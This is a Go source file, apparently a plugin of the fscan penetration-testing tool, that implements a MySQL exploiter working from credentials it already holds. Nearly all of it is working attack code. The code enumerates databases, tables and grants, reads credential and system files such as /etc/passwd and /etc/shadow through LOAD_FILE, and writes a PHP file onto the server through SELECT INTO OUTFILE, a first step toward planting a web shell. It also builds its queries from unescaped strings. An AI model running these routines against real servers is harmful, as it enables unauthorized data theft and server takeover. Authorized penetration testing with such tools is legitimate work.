package mysql

import (
	"context"
	"database/sql"
	"fmt"
	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/common/i18n"
	"github.com/shadow1ng/fscan/plugins/base"
	"strconv"
	"strings"
)

// MySQLExploiter MySQL利用器实现
type MySQLExploiter struct {
	*base.BaseExploiter
	connector *MySQLConnector
}

// NewMySQLExploiter 创建MySQL利用器
func NewMySQLExploiter() *MySQLExploiter {
	exploiter := &MySQLExploiter{
		BaseExploiter: base.NewBaseExploiter("mysql"),
		connector:     NewMySQLConnector(),
	}
	
	// 添加利用方法
	exploiter.setupExploitMethods()
	
	return exploiter
}

// setupExploitMethods 设置利用方法
func (e *MySQLExploiter) setupExploitMethods() {
	// 1. 信息收集
	infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering").
		WithDescription("收集MySQL服务器信息").
		WithPriority(8).
		WithConditions("has_credentials").
		WithHandler(e.exploitInformationGathering).
		Build()
	e.AddExploitMethod(infoMethod)
	
	// 2. 数据库枚举
	enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration").
		WithDescription("枚举数据库和表").
		WithPriority(7).
		WithConditions("has_credentials").
		WithHandler(e.exploitDatabaseEnumeration).
		Build()
	e.AddExploitMethod(enumMethod)
	
	// 3. 用户权限检查
	privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check").
		WithDescription("检查用户权限").
		WithPriority(6).
		WithConditions("has_credentials").
		WithHandler(e.exploitPrivilegeCheck).
		Build()
	e.AddExploitMethod(privMethod)
	
	// 4. 文件读取（如果有FILE权限）
	fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read").
		WithDescription("读取服务器文件").
		WithPriority(9).
		WithConditions("has_credentials").
		WithHandler(e.exploitFileRead).
		Build()
	e.AddExploitMethod(fileReadMethod)
	
	// 5. 文件写入（如果有FILE权限）
	fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write").
		WithDescription("写入文件到服务器").
		WithPriority(10).
		WithConditions("has_credentials").
		WithHandler(e.exploitFileWrite).
		Build()
	e.AddExploitMethod(fileWriteMethod)
}

// exploitInformationGathering 信息收集利用
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
	db, err := e.connectWithCredentials(ctx, info, creds)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
	}
	defer db.Close()
	
	result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
	
	// 获取版本信息
	version, err := e.getVersion(ctx, db)
	if err == nil {
		base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
		result.Extra["version"] = version
	}
	
	// 获取当前用户
	user, err := e.getCurrentUser(ctx, db)
	if err == nil {
		base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
		result.Extra["current_user"] = user
	}
	
	// 获取当前数据库
	database, err := e.getCurrentDatabase(ctx, db)
	if err == nil {
		base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
		result.Extra["current_database"] = database
	}
	
	return result, nil
}

// exploitDatabaseEnumeration 数据库枚举利用
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
	db, err := e.connectWithCredentials(ctx, info, creds)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
	}
	defer db.Close()
	
	result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
	
	// 枚举数据库
	databases, err := e.enumerateDatabases(ctx, db)
	if err == nil && len(databases) > 0 {
		base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
		result.Extra["databases"] = databases
	}
	
	// 枚举表（限制在非系统数据库中）
	tables, err := e.enumerateTables(ctx, db)
	if err == nil && len(tables) > 0 {
		base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
		result.Extra["tables"] = tables
	}
	
	return result, nil
}

// exploitPrivilegeCheck 权限检查利用
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
	db, err := e.connectWithCredentials(ctx, info, creds)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
	}
	defer db.Close()
	
	result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
	
	// 检查用户权限
	privileges, err := e.getUserPrivileges(ctx, db)
	if err == nil && len(privileges) > 0 {
		base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
		result.Extra["privileges"] = privileges
	}
	
	// 检查是否有FILE权限
	hasFilePriv := e.hasFilePrivilege(privileges)
	result.Extra["has_file_privilege"] = hasFilePriv
	if hasFilePriv {
		base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
	}
	
	return result, nil
}

// exploitFileRead 文件读取利用
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
	db, err := e.connectWithCredentials(ctx, info, creds)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
	}
	defer db.Close()
	
	// 尝试读取常见的敏感文件
	filesToRead := []string{
		"/etc/passwd",
		"/etc/shadow",
		"/etc/hosts",
		"C:\\Windows\\System32\\drivers\\etc\\hosts",
	}
	
	result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
	hasRead := false
	
	for _, file := range filesToRead {
		content, err := e.readFile(ctx, db, file)
		if err == nil && content != "" {
			base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
			hasRead = true
		}
	}
	
	if !hasRead {
		return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", 
			fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
	}
	
	return result, nil
}

// exploitFileWrite 文件写入利用
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
	db, err := e.connectWithCredentials(ctx, info, creds)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
	}
	defer db.Close()
	
	result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
	
	// 尝试写入测试文件
	testContent := "<?php echo 'MySQL File Write Test'; ?>"
	testFile := "/tmp/mysql_test.php"
	
	err = e.writeFile(ctx, db, testFile, testContent)
	if err != nil {
		return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
	}
	
	base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
	base.AddFileToResult(result, testFile)
	
	return result, nil
}

// =============================================================================
// MySQL操作辅助函数
// =============================================================================

// connectWithCredentials 使用凭据连接数据库
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
	// 解析端口号
	port, err := strconv.Atoi(info.Ports)
	if err != nil {
		return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
	}
	connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
	
	db, err := sql.Open("mysql", connStr)
	if err != nil {
		return nil, err
	}
	
	// 测试连接
	if err = db.PingContext(ctx); err != nil {
		db.Close()
		return nil, err
	}
	
	return db, nil
}

// buildConnectionString 构建连接字符串
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
	if common.Socks5Proxy != "" {
		return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
			username, password, host, port)
	}
	return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
		username, password, host, port)
}

// getVersion 获取MySQL版本
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
	var version string
	err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
	return version, err
}

// getCurrentUser 获取当前用户
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
	var user string
	err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
	return user, err
}

// getCurrentDatabase 获取当前数据库
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
	var database string
	err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
	return database, err
}

// enumerateDatabases 枚举数据库
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
	rows, err := db.QueryContext(ctx, "SHOW DATABASES")
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	
	var databases []string
	for rows.Next() {
		var dbName string
		if err := rows.Scan(&dbName); err != nil {
			continue
		}
		databases = append(databases, dbName)
	}
	
	return databases, nil
}

// enumerateTables 枚举表
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
	rows, err := db.QueryContext(ctx, `
		SELECT TABLE_SCHEMA, TABLE_NAME 
		FROM information_schema.TABLES 
		WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
		LIMIT 50
	`)
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	
	tables := make(map[string][]string)
	for rows.Next() {
		var schema, table string
		if err := rows.Scan(&schema, &table); err != nil {
			continue
		}
		tables[schema] = append(tables[schema], table)
	}
	
	return tables, nil
}

// getUserPrivileges 获取用户权限
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
	rows, err := db.QueryContext(ctx, "SHOW GRANTS")
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	
	var privileges []string
	for rows.Next() {
		var grant string
		if err := rows.Scan(&grant); err != nil {
			continue
		}
		privileges = append(privileges, grant)
	}
	
	return privileges, nil
}

// hasFilePrivilege 检查是否有FILE权限
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
	for _, priv := range privileges {
		if strings.Contains(strings.ToUpper(priv), "FILE") {
			return true
		}
	}
	return false
}

// readFile 读取文件
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
	var content string
	query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
	err := db.QueryRowContext(ctx, query).Scan(&content)
	return content, err
}

// writeFile 写入文件
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
	query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
	_, err := db.ExecContext(ctx, query)
	return err
}